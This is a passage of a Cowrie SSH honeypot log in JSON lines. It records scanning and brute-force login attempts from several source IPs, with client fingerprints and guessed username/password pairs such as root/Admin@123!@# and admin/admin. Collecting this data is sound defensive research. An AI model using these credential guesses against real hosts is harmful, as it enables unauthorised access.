{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:51.557351Z","src_ip":"124.7.227.98","session":"505153422686","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123!@#","message":"login attempt [root/Admin@123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:52.459538Z","src_ip":"124.7.227.98","session":"505153422686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:53.680014Z","src_ip":"124.7.227.98","session":"505153422686","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":44002,"dst_ip":"10.17.0.5","dst_port":22,"session":"15e952c2cbbf","protocol":"ssh","message":"New connection: 103.4.145.50:44002 (10.17.0.5:22) [session: 15e952c2cbbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:45:46.797366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:45:46.802574Z","src_ip":"103.4.145.50","session":"15e952c2cbbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:45:47.066998Z","src_ip":"103.4.145.50","session":"15e952c2cbbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"P@ssw0rd123","message":"login attempt [ftpuser/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:45:48.148530Z","src_ip":"103.4.145.50","session":"15e952c2cbbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:45:49.412693Z","src_ip":"103.4.145.50","session":"15e952c2cbbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.164.4","src_port":62574,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3ccd112bfc0","protocol":"ssh","message":"New connection: 35.241.164.4:62574 (159.203.135.109:22) [session: d3ccd112bfc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:22.222076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:22.303565Z","src_ip":"35.241.164.4","session":"d3ccd112bfc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.164.4","src_port":62580,"dst_ip":"159.203.135.109","dst_port":22,"session":"98cb23e5577b","protocol":"ssh","message":"New connection: 35.241.164.4:62580 (159.203.135.109:22) [session: 98cb23e5577b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:22.468725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:22.473271Z","src_ip":"35.241.164.4","session":"98cb23e5577b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:22.551191Z","src_ip":"35.241.164.4","session":"98cb23e5577b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:23.804420Z","src_ip":"35.241.164.4","session":"98cb23e5577b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:23.888251Z","src_ip":"35.241.164.4","session":"98cb23e5577b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:23.893044Z","src_ip":"35.241.164.4","session":"d3ccd112bfc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.162.79","src_port":54940,"dst_ip":"159.203.135.109","dst_port":22,"session":"765e088039db","protocol":"ssh","message":"New connection: 35.195.162.79:54940 (159.203.135.109:22) [session: 765e088039db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:24.662944Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:24.668529Z","src_ip":"35.195.162.79","session":"765e088039db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.162.79","src_port":54952,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcb5d6b8894b","protocol":"ssh","message":"New connection: 35.195.162.79:54952 (159.203.135.109:22) [session: dcb5d6b8894b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:25.480222Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:25.561995Z","src_ip":"35.195.162.79","session":"dcb5d6b8894b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.7.227.98","src_port":64801,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f6ee141e22d","protocol":"ssh","message":"New connection: 124.7.227.98:64801 (159.203.135.109:22) [session: 0f6ee141e22d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:26.988403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:26.993524Z","src_ip":"124.7.227.98","session":"0f6ee141e22d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:27.210557Z","src_ip":"124.7.227.98","session":"0f6ee141e22d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"motdepasse","message":"login attempt [root/motdepasse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:28.110674Z","src_ip":"124.7.227.98","session":"0f6ee141e22d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:29.330868Z","src_ip":"124.7.227.98","session":"0f6ee141e22d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:30.625417Z","src_ip":"35.241.164.4","session":"d3ccd112bfc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.162.79","src_port":58920,"dst_ip":"159.203.135.109","dst_port":22,"session":"63153810deb8","protocol":"ssh","message":"New connection: 35.195.162.79:58920 (159.203.135.109:22) [session: 63153810deb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:38.245264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap_SSH2_Enum_Algos","message":"Remote SSH version: SSH-2.0-Nmap_SSH2_Enum_Algos","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:38.285422Z","src_ip":"35.195.162.79","session":"63153810deb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a20aced7c9824fd804f59e68dd801ad3","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a20aced7c9824fd804f59e68dd801ad3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:38.397690Z","src_ip":"35.195.162.79","session":"63153810deb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:38.403145Z","src_ip":"35.195.162.79","session":"63153810deb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":32768,"dst_ip":"10.17.0.5","dst_port":22,"session":"23436fb09dc1","protocol":"ssh","message":"New connection: 103.4.145.50:32768 (10.17.0.5:22) [session: 23436fb09dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:48.735916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:48.746221Z","src_ip":"103.4.145.50","session":"23436fb09dc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:49.020276Z","src_ip":"103.4.145.50","session":"23436fb09dc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"qweasdzxc","message":"login attempt [debian/qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:50.122232Z","src_ip":"103.4.145.50","session":"23436fb09dc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:51.395753Z","src_ip":"103.4.145.50","session":"23436fb09dc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":52414,"dst_ip":"159.203.135.109","dst_port":22,"session":"64eef72ea460","protocol":"ssh","message":"New connection: 96.70.252.227:52414 (159.203.135.109:22) [session: 64eef72ea460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:54.709805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:54.826311Z","src_ip":"96.70.252.227","session":"64eef72ea460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:54.853992Z","src_ip":"96.70.252.227","session":"64eef72ea460","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"odoo2024","message":"login attempt [root/odoo2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:55.034546Z","src_ip":"96.70.252.227","session":"64eef72ea460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:46:56.073136Z","src_ip":"96.70.252.227","session":"64eef72ea460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.7.227.98","src_port":34069,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b6f538f84d7","protocol":"ssh","message":"New connection: 124.7.227.98:34069 (159.203.135.109:22) [session: 4b6f538f84d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:47:13.318462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:47:13.323802Z","src_ip":"124.7.227.98","session":"4b6f538f84d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 